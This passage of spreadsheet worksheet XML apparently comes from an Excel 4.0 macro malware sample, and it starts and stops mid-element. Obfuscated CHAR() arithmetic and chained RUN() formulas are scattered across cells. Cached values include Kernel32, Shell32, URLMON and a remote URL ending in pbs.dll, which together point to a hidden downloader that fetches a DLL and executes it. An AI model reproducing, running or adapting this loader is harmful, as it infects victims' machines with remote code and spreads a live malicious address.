t="str"><f>CHAR($AN$1232-587)</f><v>t</v></c></row><row r="739" spans="1:210" x14ac:dyDescent="0.25"><c r="DL739"><v>99</v></c></row><row r="747" spans="1:210" x14ac:dyDescent="0.25"><c r="HB747"><v>26</v></c></row><row r="754" spans="47:246" x14ac:dyDescent="0.25"><c r="FE754"><v>672</v></c></row><row r="755" spans="47:246" x14ac:dyDescent="0.25"><c r="CB755" t="b"><f>RUN($DL$1279)</f><v>0</v></c></row><row r="758" spans="47:246" x14ac:dyDescent="0.25"><c r="HR758"><v>36</v></c></row><row r="760" spans="47:246" x14ac:dyDescent="0.25"><c r="GY760"><v>80</v></c></row><row r="764" spans="47:246" x14ac:dyDescent="0.25"><c r="AU764"><v>252</v></c></row><row r="768" spans="47:246" x14ac:dyDescent="0.25"><c r="IL768" t="b"><f>RUN($DY$489)</f><v>0</v></c></row><row r="769" spans="48:195" x14ac:dyDescent="0.25"><c r="DA769"><v>38</v></c></row><row r="783" spans="48:195" x14ac:dyDescent="0.25"><c r="AV783"><v>489</v></c></row><row r="784" spans="48:195" x14ac:dyDescent="0.25"><c r="GM784"><v>494</v></c></row><row r="785" spans="60:243" x14ac:dyDescent="0.25"><c r="GO785"><v>684</v></c></row><row r="786" spans="60:243" x14ac:dyDescent="0.25"><c r="BH786"><v>49</v></c></row><row r="789" spans="60:243" x14ac:dyDescent="0.25"><c r="II789"><v>730</v></c></row><row r="790" spans="60:243" x14ac:dyDescent="0.25"><c r="GO790" t="str"><f>CHAR($CH$646-166)</f><v>N</v></c></row><row r="791" spans="60:243" x14ac:dyDescent="0.25"><c r="HJ791"><v>52</v></c></row><row r="797" spans="60:243" x14ac:dyDescent="0.25"><c r="ET797" t="b"><f>RUN($GC$669)</f><v>0</v></c></row><row r="803" spans="88:194" x14ac:dyDescent="0.25"><c r="GL803" t="str"><f>CHAR($GX$681-587)</f><v>e</v></c></row><row r="806" spans="88:194" x14ac:dyDescent="0.25"><c r="CZ806" t="str"><f>CHAR($GA$1210-166)</f><v>d</v></c></row><row r="809" spans="88:194" x14ac:dyDescent="0.25"><c r="CJ809"><v>94</v></c></row><row r="817" spans="44:219" x14ac:dyDescent="0.25"><c r="GS817" t="b"><f>RUN($EF$1941)</f><v>0</v></c></row><row r="818" spans="44:219" x14ac:dyDescent="0.25"><c r="HD818"><v>82</v></c></row><row r="819" spans="44:219" x14ac:dyDescent="0.25"><c r="GI819" t="b"><f>RUN($DW$1747)</f><v>0</v></c></row><row r="820" spans="44:219" x14ac:dyDescent="0.25"><c r="DG820" t="b"><f>RUN($AS$1714)</f><v>0</v></c><c r="DX820"><v>89</v></c><c r="HA820" t="b"><f>RUN($HC$1071)</f><v>0</v></c></row><row r="822" spans="44:219" x14ac:dyDescent="0.25"><c r="AR822"><v>24</v></c></row><row r="831" spans="44:219" x14ac:dyDescent="0.25"><c r="HK831" t="b"><f>RUN($GT$1881)</f><v>0</v></c></row><row r="833" spans="55:217" x14ac:dyDescent="0.25"><c r="BC833" t="str"><f>CHAR($GC$1457-166)</f><v>o</v></c></row><row r="837" spans="55:217" x14ac:dyDescent="0.25"><c r="HC837"><v>733</v></c></row><row r="841" spans="55:217" x14ac:dyDescent="0.25"><c r="CA841" t="b"><f>RUN($DG$714)</f><v>0</v></c></row><row r="842" spans="55:217" x14ac:dyDescent="0.25"><c r="HI842"><v>701</v></c></row><row r="855" spans="50:247" x14ac:dyDescent="0.25"><c r="GL855" t="b"><f>RUN($AV$317)</f><v>0</v></c></row><row r="859" spans="50:247" x14ac:dyDescent="0.25"><c r="DZ859" t="b"><f>RUN($HH$1295)</f><v>0</v></c></row><row r="860" spans="50:247" x14ac:dyDescent="0.25"><c r="EO860" t="b"><f>RUN($EF$112)</f><v>0</v></c></row><row r="861" spans="50:247" x14ac:dyDescent="0.25"><c r="AX861"><v>500</v></c></row><row r="862" spans="50:247" x14ac:dyDescent="0.25"><c r="IM862" t="str"><f>CHAR($HZ$1804-655)</f><v>R</v></c></row><row r="865" spans="1:236" x14ac:dyDescent="0.25"><c r="X865"><v>90</v></c></row><row r="866" spans="1:236" x14ac:dyDescent="0.25"><c r="K866"><v>655</v></c></row><row r="867" spans="1:236" x14ac:dyDescent="0.25"><c r="A867" t="b"><f>RUN($HC$1887)</f><v>0</v></c></row><row r="870" spans="1:236" x14ac:dyDescent="0.25"><c r="IB870" t="b"><f>RUN($IE$1413)</f><v>0</v></c></row><row r="871" spans="1:236" x14ac:dyDescent="0.25"><c r="FI871"><v>495</v></c></row><row r="874" spans="1:236" x14ac:dyDescent="0.25"><c r="T874"><v>71</v></c><c r="ET874" t="str"><f>CHAR($N$919-379)</f><v>t</v></c></row><row r="878" spans="1:236" x14ac:dyDescent="0.25"><c r="HL878" t="b"><f>RUN($DE$1111)</f><v>0</v></c></row><row r="883" spans="13:239" x14ac:dyDescent="0.25"><c r="M883"><v>756</v></c></row><row r="889" spans="13:239" x14ac:dyDescent="0.25"><c r="HW889"><v>89</v></c></row><row r="892" spans="13:239" x14ac:dyDescent="0.25"><c r="IE892"><v>55</v></c></row><row r="893" spans="13:239" x14ac:dyDescent="0.25"><c r="BD893" t="str"><f>CHAR($EU$75-587)</f><v>l</v></c><c r="FT893" t="str"><f>CONCATENATE($GO$18)</f><v>Kernel32</v></c></row><row r="896" spans="13:239" x14ac:dyDescent="0.25"><c r="BG896" t="str"><f>CHAR($GK$1207-655)</f><v>e</v></c></row><row r="899" spans="38:239" x14ac:dyDescent="0.25"><c r="HP899"><v>484</v></c><c r="HV899"><v>654</v></c></row><row r="900" spans="38:239" x14ac:dyDescent="0.25"><c r="EU900" t="str"><f>CHAR($AF$402-379)</f><v>:</v></c></row><row r="901" spans="38:239" x14ac:dyDescent="0.25"><c r="AL901" t="str"><f>CHAR($EV$490-379)</f><v>h</v></c></row><row r="902" spans="38:239" x14ac:dyDescent="0.25"><c r="IE902" t="b"><f>RUN($GP$1512)</f><v>0</v></c></row><row r="907" spans="38:239" x14ac:dyDescent="0.25"><c r="AS907"><v>73</v></c></row><row r="917" spans="14:108" x14ac:dyDescent="0.25"><c r="AG917"><v>76</v></c></row><row r="918" spans="14:108" x14ac:dyDescent="0.25"><c r="BW918" t="str"><f>CHAR($BF$1981-379)</f><v>l</v></c></row><row r="919" spans="14:108" x14ac:dyDescent="0.25"><c r="N919"><v>495</v></c></row><row r="923" spans="14:108" x14ac:dyDescent="0.25"><c r="T923" t="b"><f>RUN($GE$284)</f><v>0</v></c></row><row r="925" spans="14:108" x14ac:dyDescent="0.25"><c r="BH925"><v>707</v></c><c r="DD925"><v>31</v></c></row><row r="931" spans="146:205" x14ac:dyDescent="0.25"><c r="FB931" t="str"><f>CHAR($K$376-166)</f><v>a</v></c></row><row r="934" spans="146:205" x14ac:dyDescent="0.25"><c r="GA934" t="str"><f>CHAR($HX$1909-166)</f><v>D</v></c></row><row r="938" spans="146:205" x14ac:dyDescent="0.25"><c r="GW938"><v>24</v></c></row><row r="940" spans="146:205" x14ac:dyDescent="0.25"><c r="EP940" t="str"><f>CHAR($FR$342-587)</f><v>T</v></c></row><row r="945" spans="65:152" x14ac:dyDescent="0.25"><c r="EF945"><v>20</v></c></row><row r="946" spans="65:152" x14ac:dyDescent="0.25"><c r="BM946" t="b"><f>RUN($A$867)</f><v>0</v></c></row><row r="947" spans="65:152" x14ac:dyDescent="0.25"><c r="CU947" t="b"><f>RUN($EA$1651)</f><v>0</v></c></row><row r="949" spans="65:152" x14ac:dyDescent="0.25"><c r="EP949"><v>5</v></c></row><row r="950" spans="65:152" x14ac:dyDescent="0.25"><c r="BY950" t="str"><f>CHAR($G$1333-379)</f><v>3</v></c></row><row r="959" spans="65:152" x14ac:dyDescent="0.25"><c r="EV959" t="str"><f>CHAR($CV$1612-655)</f><v>3</v></c></row><row r="962" spans="95:241" x14ac:dyDescent="0.25"><c r="EV962"><v>4</v></c></row><row r="966" spans="95:241" x14ac:dyDescent="0.25"><c r="CQ966" t="b"><f>RUN($BW$254)</f><v>0</v></c><c r="IG966" t="str"><f>CHAR($FH$215-587)</f><v>c</v></c></row><row r="967" spans="95:241" x14ac:dyDescent="0.25"><c r="GZ967" t="b"><f>RUN($AG$256)</f><v>0</v></c></row><row r="973" spans="95:241" x14ac:dyDescent="0.25"><c r="CV973"><v>2</v></c></row><row r="976" spans="95:241" x14ac:dyDescent="0.25"><c r="FD976" t="str"><f>CHAR($DL$62-379)</f><v>h</v></c></row><row r="986" spans="17:17" x14ac:dyDescent="0.25"><c r="Q986" t="str"><f>CHAR($DU$14-379)</f><v>.</v></c></row><row r="995" spans="71:189" x14ac:dyDescent="0.25"><c r="BS995" t="b"><f>RUN($GG$1082)</f><v>0</v></c></row><row r="999" spans="71:189" x14ac:dyDescent="0.25"><c r="CB999"><v>426</v></c><c r="GG999"><v>87</v></c></row><row r="1004" spans="71:189" x14ac:dyDescent="0.25"><c r="FN1004"><v>269</v></c></row><row r="1014" spans="49:49" x14ac:dyDescent="0.25"><c r="AW1014"><v>698</v></c></row><row r="1026" spans="38:241" x14ac:dyDescent="0.25"><c r="IG1026" t="str"><f>CHAR($ER$1558-587)</f><v>L</v></c></row><row r="1028" spans="38:241" x14ac:dyDescent="0.25"><c r="HJ1028"><v>83</v></c></row><row r="1029" spans="38:241" x14ac:dyDescent="0.25"><c r="EI1029" t="str"><f>CHAR($HG$342-166)</f><v>\</v></c></row><row r="1031" spans="38:241" x14ac:dyDescent="0.25"><c r="BD1031" t="str"><f>CHAR($DX$1855-655)</f><v>U</v></c></row><row r="1032" spans="38:241" x14ac:dyDescent="0.25"><c r="AL1032" t="str"><f>CHAR($FY$368-379)</f><v>i</v></c></row><row r="1036" spans="38:241" x14ac:dyDescent="0.25"><c r="CU1036"><v>99</v></c></row><row r="1041" spans="1:220" x14ac:dyDescent="0.25"><c r="DJ1041"><v>212</v></c></row><row r="1044" spans="1:220" x14ac:dyDescent="0.25"><c r="EH1044" t="str"><f>CHAR($CL$138-166)</f><v>g</v></c></row><row r="1046" spans="1:220" x14ac:dyDescent="0.25"><c r="EC1046" t="b"><f>RUN($AT$429)</f><v>0</v></c></row><row r="1050" spans="1:220" x14ac:dyDescent="0.25"><c r="HL1050" t="str"><f>CHAR($CF$1750-587)</f><v>O</v></c></row><row r="1051" spans="1:220" x14ac:dyDescent="0.25"><c r="EN1051" t="str"><f>CHAR($FE$754-587)</f><v>U</v></c><c r="FS1051" t="str"><f>CONCATENATE($AY$1847)</f><v>Shell32</v></c></row><row r="1052" spans="1:220" x14ac:dyDescent="0.25"><c r="EC1052"><v>96</v></c></row><row r="1056" spans="1:220" x14ac:dyDescent="0.25"><c r="A1056" t="b"><f>RUN($BZ$1834)</f><v>0</v></c></row><row r="1057" spans="4:240" x14ac:dyDescent="0.25"><c r="BR1057"><v>88</v></c></row><row r="1058" spans="4:240" x14ac:dyDescent="0.25"><c r="D1058"><v>52</v></c></row><row r="1062" spans="4:240" x14ac:dyDescent="0.25"><c r="GH1062"><v>5</v></c></row><row r="1063" spans="4:240" x14ac:dyDescent="0.25"><c r="ES1063"><v>698</v></c></row><row r="1066" spans="4:240" x14ac:dyDescent="0.25"><c r="HG1066" t="b"><f>RUN($AY$1571)</f><v>0</v></c></row><row r="1067" spans="4:240" x14ac:dyDescent="0.25"><c r="X1067" t="b"><f>RUN($IE$54)</f><v>0</v></c><c r="EL1067"><v>76</v></c><c r="IF1067" t="str"><f>CHAR($P$1889-379)</f><v>l</v></c></row><row r="1068" spans="4:240" x14ac:dyDescent="0.25"><c r="FX1068" t="b"><f>RUN($GZ$967)</f><v>0</v></c></row><row r="1069" spans="4:240" x14ac:dyDescent="0.25"><c r="DG1069" t="b"><f>RUN($FR$1113)</f><v>0</v></c></row><row r="1071" spans="4:240" x14ac:dyDescent="0.25"><c r="EL1071" t="b"><f>RUN($AT$1704)</f><v>0</v></c><c r="HC1071" t="b"><f>RUN($X$1286)</f><v>0</v></c></row><row r="1080" spans="25:199" x14ac:dyDescent="0.25"><c r="Y1080"><v>96</v></c></row><row r="1082" spans="25:199" x14ac:dyDescent="0.25"><c r="DD1082"><v>90</v></c><c r="GG1082" t="b"><f>RUN($CX$18)</f><v>0</v></c></row><row r="1086" spans="25:199" x14ac:dyDescent="0.25"><c r="BK1086" t="b"><f>RUN($FH$15)</f><v>0</v></c></row><row r="1087" spans="25:199" x14ac:dyDescent="0.25"><c r="GQ1087" t="b"><f>RUN($ET$398)</f><v>0</v></c></row><row r="1089" spans="32:229" x14ac:dyDescent="0.25"><c r="HO1089" t="str"><f>CONCATENATE($GB$32)</f><v>URLMON</v></c></row><row r="1092" spans="32:229" x14ac:dyDescent="0.25"><c r="AF1092"><v>9</v></c></row><row r="1093" spans="32:229" x14ac:dyDescent="0.25"><c r="GS1093"><v>763</v></c></row><row r="1097" spans="32:229" x14ac:dyDescent="0.25"><c r="HU1097" t="b"><f>RUN($DM$1497)</f><v>0</v></c></row><row r="1100" spans="32:229" x14ac:dyDescent="0.25"><c r="CM1100" t="b"><f>RUN($BC$1703)</f><v>0</v></c></row><row r="1103" spans="32:229" x14ac:dyDescent="0.25"><c r="BK1103" t="b"><f>RUN($BQ$88)</f><v>0</v></c></row><row r="1110" spans="5:174" x14ac:dyDescent="0.25"><c r="E1110" t="str"><f>CHAR($BD$1717-655)</f><v>n</v></c></row><row r="1111" spans="5:174" x14ac:dyDescent="0.25"><c r="DE1111" t="b"><f>RUN($DB$1244)</f><v>0</v></c></row><row r="1113" spans="5:174" x14ac:dyDescent="0.25"><c r="BF1113"><v>53</v></c><c r="FR1113" t="b"><f>RUN($R$1197)</f><v>0</v></c></row><row r="1118" spans="5:174" x14ac:dyDescent="0.25"><c r="DB1118" t="b"><f>RUN($BV$318)</f><v>0</v></c></row><row r="1119" spans="5:174" x14ac:dyDescent="0.25"><c r="DH1119"><v>74</v></c></row><row r="1120" spans="5:174" x14ac:dyDescent="0.25"><c r="DK1120"><v>58</v></c></row><row r="1123" spans="64:186" x14ac:dyDescent="0.25"><c r="BL1123" t="str"><f>CHAR($HO$1564-587)</f><v>e</v></c></row><row r="1126" spans="64:186" x14ac:dyDescent="0.25"><c r="CB1126" t="b"><f>RUN($DG$820)</f><v>0</v></c><c r="EH1126"><v>93</v></c></row><row r="1132" spans="64:186" x14ac:dyDescent="0.25"><c r="GD1132"><v>20</v></c></row><row r="1137" spans="2:180" x14ac:dyDescent="0.25"><c r="DD1137"><v>688</v></c></row><row r="1139" spans="2:180" x14ac:dyDescent="0.25"><c r="CV1139"><v>6</v></c></row><row r="1140" spans="2:180" x14ac:dyDescent="0.25"><c r="B1140" t="b"><f>RUN($DK$604)</f><v>0</v></c><c r="DM1140"><v>96</v></c></row><row r="1151" spans="2:180" x14ac:dyDescent="0.25"><c r="FX1151"><v>274</v></c></row><row r="1155" spans="47:169" x14ac:dyDescent="0.25"><c r="AU1155"><v>58</v></c></row><row r="1158" spans="47:169" x14ac:dyDescent="0.25"><c r="FM1158" t="b"><f>RUN($CA$841)</f><v>0</v></c></row><row r="1166" spans="47:169" x14ac:dyDescent="0.25"><c r="FB1166" t="str"><f>CHAR($AR$1885-166)</f><v>c</v></c></row><row r="1167" spans="47:169" x14ac:dyDescent="0.25"><c r="EB1167"><v>655</v></c></row><row r="1173" spans="105:113" x14ac:dyDescent="0.25"><c r="DA1173"><v>54</v></c></row><row r="1176" spans="105:113" x14ac:dyDescent="0.25"><c r="DI1176"><v>69</v></c></row><row r="1189" spans="5:224" x14ac:dyDescent="0.25"><c r="E1189"><v>732</v></c></row><row r="1190" spans="5:224" x14ac:dyDescent="0.25"><c r="AR1190"><v>491</v></c></row><row r="1197" spans="5:224" x14ac:dyDescent="0.25"><c r="R1197" t="b"><f>RUN($CR$1601)</f><v>0</v></c></row><row r="1198" spans="5:224" x14ac:dyDescent="0.25"><c r="HP1198"><v>756</v></c></row><row r="1199" spans="5:224" x14ac:dyDescent="0.25"><c r="BI1199"><v>688</v></c></row><row r="1201" spans="29:196" x14ac:dyDescent="0.25"><c r="FK1201"><v>245</v></c></row><row r="1205" spans="29:196" x14ac:dyDescent="0.25"><c r="BH1205"><v>489</v></c><c r="FH1205"><v>695</v></c></row><row r="1206" spans="29:196" x14ac:dyDescent="0.25"><c r="GN1206" t="str"><f>CHAR($DJ$1041-166)</f><v>.</v></c></row><row r="1207" spans="29:196" x14ac:dyDescent="0.25"><c r="AC1207" t="b"><f>RUN($BM$450)</f><v>0</v></c><c r="GK1207"><v>756</v></c></row><row r="1210" spans="29:196" x14ac:dyDescent="0.25"><c r="GA1210"><v>266</v></c></row><row r="1215" spans="29:196" x14ac:dyDescent="0.25"><c r="EO1215" t="str"><f>CHAR($HL$1846-587)</f><v>t</v></c><c r="FI1215" t="b"><f>RUN($V$262)</f><v>0</v></c></row><row r="1222" spans="40:217" x14ac:dyDescent="0.25"><c r="HI1222"><v>51</v></c></row><row r="1223" spans="40:217" x14ac:dyDescent="0.25"><c r="CV1223"><v>56</v></c></row><row r="1225" spans="40:217" x14ac:dyDescent="0.25"><c r="ER1225"><v>10</v></c></row><row r="1226" spans="40:217" x14ac:dyDescent="0.25"><c r="DH1226" t="str"><f>CHAR($HS$40-587)</f><v>t</v></c><c r="FJ1226"><v>11</v></c></row><row r="1230" spans="40:217" x14ac:dyDescent="0.25"><c r="CT1230" t="str"><f>CHAR($FK$1201-166)</f><v>O</v></c></row><row r="1231" spans="40:217" x14ac:dyDescent="0.25"><c r="FQ1231"><v>38</v></c></row><row r="1232" spans="40:217" x14ac:dyDescent="0.25"><c r="AN1232"><v>703</v></c></row><row r="1242" spans="29:233" x14ac:dyDescent="0.25"><c r="EZ1242"><v>15</v></c></row><row r="1244" spans="29:233" x14ac:dyDescent="0.25"><c r="DB1244" t="b"><f>RUN($ET$797)</f><v>0</v></c></row><row r="1245" spans="29:233" x14ac:dyDescent="0.25"><c r="BN1245" t="str"><f>CHAR($DT$1556-166)</f><v>r</v></c><c r="HY1245"><v>86</v></c></row><row r="1246" spans="29:233" x14ac:dyDescent="0.25"><c r="HM1246"><v>670</v></c><c r="HV1246"><v>98</v></c></row><row r="1247" spans="29:233" x14ac:dyDescent="0.25"><c r="AC1247"><v>738</v></c></row><row r="1248" spans="29:233" x14ac:dyDescent="0.25"><c r="FI1248" t="b"><f>RUN($CM$1100)</f><v>0</v></c></row><row r="1249" spans="40:249" x14ac:dyDescent="0.25"><c r="IO1249"><v>28</v></c></row><row r="1259" spans="40:249" x14ac:dyDescent="0.25"><c r="FF1259" t="b"><f>RUN($HF$434)</f><v>0</v></c></row><row r="1263" spans="40:249" x14ac:dyDescent="0.25"><c r="AN1263" t="b"><f>RUN($ER$1875)</f><v>0</v></c><c r="CB1263"><v>68</v></c><c r="GX1263"><v>258</v></c></row><row r="1265" spans="28:153" x14ac:dyDescent="0.25"><c r="AB1265" t="str"><f>CHAR($CB$999-379)</f><v>/</v></c></row><row r="1272" spans="28:153" x14ac:dyDescent="0.25"><c r="BU1272" t="str"><f>CHAR($FD$383-379)</f><v>/</v></c><c r="EW1272" t="str"><f>CHAR($CB$1904-587)</f><v>e</v></c></row><row r="1279" spans="28:153" x14ac:dyDescent="0.25"><c r="DL1279" t="b"><f>RUN($IE$902)</f><v>0</v></c><c r="EG1279" t="str"><f>CHAR($DK$36-379)</f><v>.</v></c></row><row r="1286" spans="24:216" x14ac:dyDescent="0.25"><c r="X1286" t="b"><f>RUN($DY$1849)</f><v>0</v></c><c r="BS1286" t="str"><f>CHAR($EB$1167-587)</f><v>D</v></c></row><row r="1287" spans="24:216" x14ac:dyDescent="0.25"><c r="AU1287"><v>20</v></c></row><row r="1288" spans="24:216" x14ac:dyDescent="0.25"><c r="GJ1288" t="b"><f>RUN($IL$768)</f><v>0</v></c></row><row r="1295" spans="24:216" x14ac:dyDescent="0.25"><c r="HH1295" t="b"><f>RUN($CO$665)</f><v>0</v></c></row><row r="1296" spans="24:216" x14ac:dyDescent="0.25"><c r="AZ1296"><v>58</v></c><c r="CI1296" t="b"><f>RUN($GK$617)</f><v>0</v></c></row><row r="1297" spans="3:142" x14ac:dyDescent="0.25"><c r="C1297" t="str"><f>CHAR($FP$102-166)</f><v>z</v></c></row><row r="1299" spans="3:142" x14ac:dyDescent="0.25"><c r="EL1299"><v>28</v></c></row><row r="1307" spans="3:142" x14ac:dyDescent="0.25"><c r="L1307" t="b"><f>RUN($FM$1158)</f><v>0</v></c><c r="CN1307" t="b"><f>RUN($GH$191)</f><v>0</v></c></row><row r="1311" spans="3:142" x14ac:dyDescent="0.25"><c r="BV1311" t="str"><f>CHAR($BS$504-166)</f><v>P</v></c></row><row r="1312" spans="3:142" x14ac:dyDescent="0.25"><c r="CA1312"><v>27</v></c></row><row r="1315" spans="82:216" x14ac:dyDescent="0.25"><c r="DN1315" t="b"><f>RUN($FI$1215)</f><v>0</v></c></row><row r="1319" spans="82:216" x14ac:dyDescent="0.25"><c r="CD1319" t="str"><f>CHAR($DD$1137-587)</f><v>e</v></c></row><row r="1324" spans="82:216" x14ac:dyDescent="0.25"><c r="HH1324" t="str"><f>CHAR($AM$633-166)</f><v>f</v></c></row><row r="1325" spans="82:216" x14ac:dyDescent="0.25"><c r="ER1325" t="b"><f>RUN($HD$1649)</f><v>0</v></c></row><row r="1333" spans="7:109" x14ac:dyDescent="0.25"><c r="G1333"><v>430</v></c></row><row r="1341" spans="7:109" x14ac:dyDescent="0.25"><c r="DE1341" t="b"><f>RUN($FU$83)</f><v>0</v></c></row><row r="1345" spans="29:195" x14ac:dyDescent="0.25"><c r="DQ1345"><v>80</v></c></row><row r="1350" spans="29:195" x14ac:dyDescent="0.25"><c r="FK1350" t="b"><f>RUN($BM$1497)</f><v>0</v></c></row><row r="1352" spans="29:195" x14ac:dyDescent="0.25"><c r="GM1352" t="str"><f>CHAR($FN$1004-166)</f><v>g</v></c></row><row r="1357" spans="29:195" x14ac:dyDescent="0.25"><c r="AC1357"><v>47</v></c><c r="EC1357"><v>478</v></c></row><row r="1361" spans="61:237" x14ac:dyDescent="0.25"><c r="IC1361"><v>697</v></c></row><row r="1370" spans="61:237" x14ac:dyDescent="0.25"><c r="BI1370" t="b"><f>RUN($O$408)</f><v>0</v></c></row><row r="1373" spans="61:237" x14ac:dyDescent="0.25"><c r="GC1373" t="b"><f>RUN($GJ$1288)</f><v>0</v></c></row><row r="1378" spans="31:172" x14ac:dyDescent="0.25"><c r="AE1378"><v>26</v></c></row><row r="1381" spans="31:172" x14ac:dyDescent="0.25"><c r="FP1381" t="str"><f>CHAR($DZ$1658-655)</f><v>h</v></c></row><row r="1382" spans="31:172" x14ac:dyDescent="0.25"><c r="CU1382"><v>426</v></c></row><row r="1388" spans="31:172" x14ac:dyDescent="0.25"><c r="BH1388" t="b"><f>RUN($AH$1489)</f><v>0</v></c></row><row r="1389" spans="31:172" x14ac:dyDescent="0.25"><c r="BW1389" t="str"><f>CHAR($DR$1473-379)</f><v>t</v></c></row><row r="1404" spans="1:216" x14ac:dyDescent="0.25"><c r="A1404" t="str"><f>CHAR($DC$421-379)</f><v>a</v></c></row><row r="1408" spans="1:216" x14ac:dyDescent="0.25"><c r="HH1408" t="str"><f>CONCATENATE($I$332,$IE$136)</f><v>https://ethnicityun.at/3/pbs.dll</v></c></row><row r="1413" spans="197:239" x14ac:dyDescent="0.25"><c r="GO1413"><v>44</v></c><c r="IE1413" t="b"><f>RUN($DZ$859)</f><v>0</v></c></row><row r="1418" spans="197:239" x14ac:dyDescent="0.25"><c r="GU1418"><v>652</v></c></row><row r="1431" spans="32:194" x14ac:dyDescent="0.25"><c r="CC1431" t="str"><f>CHAR($M$360-587)</f><v>i</v></c><c r="CO1431" t="str"><f>CHAR($DO$625-655)</f><v>2</v></c></row><row r="1434" spans="32:194" x14ac:dyDescent="0.25"><c r="BG1434"><v>1</v></c></row><row r="1436" spans="32:194" x14ac:dyDescent="0.25"><c r="AF1436" t="b"><f>RUN($CR$1669)</f><v>0</v></c><c r="DH1436" t="str"><f>CHAR($GV$470-379)</f><v>p</v></c></row><row r="1440" spans="32:194" x14ac:dyDescent="0.25"><c r="GL1440"><v>695</v></c></row><row r="1449" spans="75:207" x14ac:dyDescent="0.25"><c r="GY1449" t="str"><f>CHAR($AV$783-379)</f><v>n</v></c></row><row r="1456" spans="75:207" x14ac:dyDescent="0.25"><c r="BW1456"><v>16</v></c></row><row r="1457" spans="18:185" x14ac:dyDescent="0.25"><c r="R1457"><v>73</v></c><c r="GC1457"><v>277</v></c></row><row r="1465" spans="18:185" x14ac:dyDescent="0.25"><c r="BO1465"><v>687</v></c></row><row r="1473" spans="32:228" x14ac:dyDescent="0.25"><c r="AF1473"><v>669</v></c><c r="DR1473"><v>495</v></c><c r="HT1473"><v>36</v></c></row><row r="1479" spans="32:228" x14ac:dyDescent="0.25"><c r="FA1479"><v>33</v></c></row><row r="1487" spans="32:228" x14ac:dyDescent="0.25"><c r="EX1487" t="str"><f>CHAR($BD$689-587)</f><v>o</v></c><c r="GT1487" t="str"><f>CHAR($FE$1957-379)</f><v>b</v></c></row><row r="1489" spans="34:121" x14ac:dyDescent="0.25"><c r="AH1489" t="b"><f>RUN($HC$1588)</f><v>0</v></c></row><row r="1493" spans="34:121" x14ac:dyDescent="0.25"><c r="BS1493"><v>89</v></c></row><row r="1497" spans="34:121" x14ac:dyDescent="0.25"><c r="BM1497" t="b"><f>RUN($GS$817)</f><v>0</v></c><c r="DM1497" t="b"><f>RUN($DE$1341)</f><v>0</v></c></row><row r="1501" spans="34:121" x14ac:dyDescent="0.25"><c r="CB1501"><v>708</v></c></row><row r="1504" spans="34:121" x14ac:dyDescent="0.25"><c r="DQ1504" t="b"><f>RUN($BP$493)</f><v>0</v></c></row><row r="1511" spans="56:198" x14ac:dyDescent="0.25"><c r="GJ1511"><v>17</v></c></row><row r="1512" spans="56:198" x14ac:dyDescent="0.25"><c r="GP1512" t="b"><f>RUN($X$350)</f><v>0</v></c></row><row r="1513" spans="56:198" x14ac:dyDescent="0.25"><c r="BN1513" t="str"><f>CHAR($ES$1063-587)</f><v>o</v></c></row><row r="1515" spans="56:198" x14ac:dyDescent="0.25"><c r="DA1515"><v>64</v></c></row><row r="1516" spans="56:198" x14ac:dyDescent="0.25"><c r="BD1516" t="str"><f>CHAR($CR$1984-587)</f><v>r</v></c></row><row r="1518" spans="56:198" x14ac:dyDescent="0.25"><c r="EI1518"><v>270</v></c></row><row r="1519" spans="56:198" x14ac:dyDescent="0.25"><c r="FT1519" t="str"><f>CHAR($BI$1199-587)</f><v>e</v></c></row><row r="1521" spans="74:206" x14ac:dyDescent="0.25"><c r="GX1521" t="b"><f>RUN($BS$416)</f><v>0</v></c></row><row r="1522" spans="74:206" x14ac:dyDescent="0.25"><c r="BV1522"><v>20</v></c></row><row r="1525" spans="74:206" x14ac:dyDescent="0.25"><c r="EZ1525"><v>495</v></c></row><row r="1532" spans="74:206" x14ac:dyDescent="0.25"><c r="GU1532" t="b"><f>RUN($EL$265)</f><v>0</v></c></row><row r="1537" spans="74:114" x14ac:dyDescent="0.25"><c r="BV1537" t="b"><f>RUN($FC$374)</f><v>0</v></c></row><row r="1545" spans="74:114" x14ac:dyDescent="0.25"><c r="DJ1545"><v>7</v></c></row><row r="1556" spans="25:223" x14ac:dyDescent="0.25"><c r="DT1556"><v>280</v></c></row><row r="1558" spans="25:223" x14ac:dyDescent="0.25"><c r="ER1558"><v>663</v></c><c r="EU1558" t="b"><f>RUN($P$1591)</f><v>0</v></c></row><row r="1561" spans="25:223" x14ac:dyDescent="0.25"><c r="GX1561" t="str"><f>CHAR($AU$764-166)</f><v>V</v></c></row><row r="1563" spans="25:223" x14ac:dyDescent="0.25"><c r="Y1563" t="str"><f>CHAR($M$883-655)</f><v>e</v></c></row><row r="1564" spans="25:223" x14ac:dyDescent="0.25"><c r="HO1564"><v>688</v></c></row><row r="1568" spans="25:223" x14ac:dyDescent="0.25"><c r="EG1568"><v>4</v></c></row><row r="1571" spans="51:237" x14ac:dyDescent="0.25"><c r="AY1571" t="b"><f>RUN($EE$485)</f><v>0</v></c></row><row r="1572" spans="51:237" x14ac:dyDescent="0.25"><c r="IC1572" t="b"><f>RUN($FQ$541)</f><v>0</v></c></row><row r="1588" spans="16:211" x14ac:dyDescent="0.25"><c r="HC1588" t="b"><f>RUN($HN$605)</f><v>0</v></c></row><row r="1591" spans="16:211" x14ac:dyDescent="0.25"><c r="P1591" t="b"><f>RUN($GV$446)</f><v>0</v></c><c r="EC1591" t="str"><f>CHAR($HC$837-655)</f><v>N</v></c></row><row r="1594" spans="16:211" x14ac:dyDescent="0.25"><c r="AX1594" t="str"><f>CHAR($HV$899-587)</f><v>C</v></c></row><row r="1601" spans="39:218" x14ac:dyDescent="0.25"><c r="CR1601" t="b"><f>RUN($BI$1370)</f><v>0</v></c></row><row r="1602" spans="39:218" x14ac:dyDescent="0.25"><c r="CH1602"><v>271</v></c><c r="HJ1602"><v>58</v></c></row><row r="1603" spans="39:218" x14ac:dyDescent="0.25"><c r="AU1603"><v>31</v></c></row><row r="1606" spans="39:218" x14ac:dyDescent="0.25"><c r="FV1606"><v>26</v></c></row><row r="1607" spans="39:218" x14ac:dyDescent="0.25"><c r="AM1607"><v>79</v></c><c r="FC1607"><v>89</v></c></row><row r="1611" spans="39:218" x14ac:dyDescent="0.25"><c r="FJ1611"><v>53</v></c></row><row r="1612" spans="39:218" x14ac:dyDescent="0.25"><c r="CV1612"><v>706</v></c></row><row r="1614" spans="39:218" x14ac:dyDescent="0.25"><c r="BH1614" t="str"><f>CHAR($BH$1205-379)</f><v>n</v></c></row><row r="1623" spans="99:99" x14ac:dyDescent="0.25"><c r="CU1623" t="str"><f>CHAR($T$1839-587)</f><v>n</v></c></row><row r="1633" 